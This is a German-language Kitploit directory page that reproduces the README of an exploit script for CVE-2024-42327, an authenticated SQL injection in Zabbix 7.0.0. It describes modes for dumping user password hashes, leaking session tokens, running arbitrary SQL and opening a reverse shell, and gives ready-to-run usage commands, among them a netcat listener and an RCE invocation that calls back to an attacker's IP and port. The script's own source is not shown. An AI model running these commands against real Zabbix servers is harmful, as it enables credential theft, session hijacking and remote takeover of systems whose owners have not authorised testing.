Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-42327_Zabbix_SQLi — Dies ist nur für Bildungszwecke gedacht. Bitte nicht gegen unbefugte Systeme verwenden. | Kitploit
Tools/GitHubGitHub/874anthony/cve-2024-42327_zabbix_sqli
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHub874anthony/cve-2024-42327_zabbix_sqli

CVE-2024-42327_Zabbix_SQLi

Dies ist nur für Bildungszwecke gedacht. Bitte nicht gegen unbefugte Systeme verwenden.

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

🛡️ Zabbix 7.0.0 SQL-Injection-Exploit-Skript

Ein Python-Skript zur Ausnutzung einer authentifizierten SQL-Injection-Schwachstelle in Zabbix 7.0.0, das mehrere Aktionsmodi unterstützt, darunter Extraktion von Benutzerdaten, Sitzungstoken-Leaks, Remote-Befehlsausführung (RCE) und benutzerdefinierte Abfrageinjektion.

⚠️ HAFTUNGSAUSSCHLUSS:
Dieses Skript dient ausschließlich pädagogischen und autorisierten Penetrationstest-Zwecken.
Verwenden Sie es nicht auf Systemen, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.

✨ Funktionen

  • ✅ Authentifizierte SQL-Injection gegen Zabbix 7.0.0
  • 🧑‍💻 Benutzer-Hashes aus der DB auslesen
  • 🔐 Sitzungstoken preisgeben
  • 🐚 Remote-Codeausführung per Reverse Shell (Admin-Token erforderlich)
  • 🧠 Benutzerdefinierte SQL-Abfragen ausführen

🔧 Voraussetzungen

  • Python 3.6+
  • requests Bibliothek

Installieren Sie die Abhängigkeiten bei Bedarf:

root@kitploit:~
pip install requests

🚀 Verwendung

root@kitploit:~
python3 sqliZabbix.py -u <ZABBIX_URL> -U <USERNAME> -p <PASSWORD> --mode <MODE> [optional args...]

🔘 Verfügbare Modi

ModusBeschreibungErfordert Admin-Token
leak-usersGibt alle Benutzer-IDs, Benutzernamen, Passwort-Hashes und Rollen aus❌
leak-tokensGibt alle aktiven Sitzungs-IDs aus der Datenbank aus❌
rceStartet eine Reverse Shell über den item.create-Exploit✅
customFührt eine beliebige benutzerdefinierte SQL-Abfrage über die Injektion aus❌

🧪 Beispiele

Benutzer-Hashes auslesen

root@kitploit:~
python3 sqliZabbix.py -u http://target/zabbix/ -U guest -p guest --mode leak-users

Sitzungstoken preisgeben

root@kitploit:~
python3 sqliZabbix.py -u http://target/zabbix/ -U guest -p guest --mode leak-tokens

Remote-Codeausführung (Reverse Shell)

root@kitploit:~
# Zuerst einen Listener starten:
nc -lvnp 9001

# Dann ausführen:
python3 sqliZabbix.py -u http://target/zabbix/ -U guest -p guest --admin_token <ADMIN_API_TOKEN> --ip <YOUR_IP> --port 9001 --mode rce

Benutzerdefinierte SQL-Injektion

root@kitploit:~
python3 sqliZabbix.py -u http://target/zabbix/ -U guest -p guest --mode custom --query "SELECT version()"

📁 Projektstruktur

root@kitploit:~
sqliZabbix.py      # Haupt-Exploit-Skript
README.md          # Diese Dokumentation

🧑‍💻 Autor

Anthony (@874anthony)

Mit Liebe und Neugierde erstellt 🐍

🔐 Lizenz

Dieses Projekt wird unter der MIT-Lizenz veröffentlicht. Bitte verwenden Sie es verantwortungsbewusst.

Tool herunterladen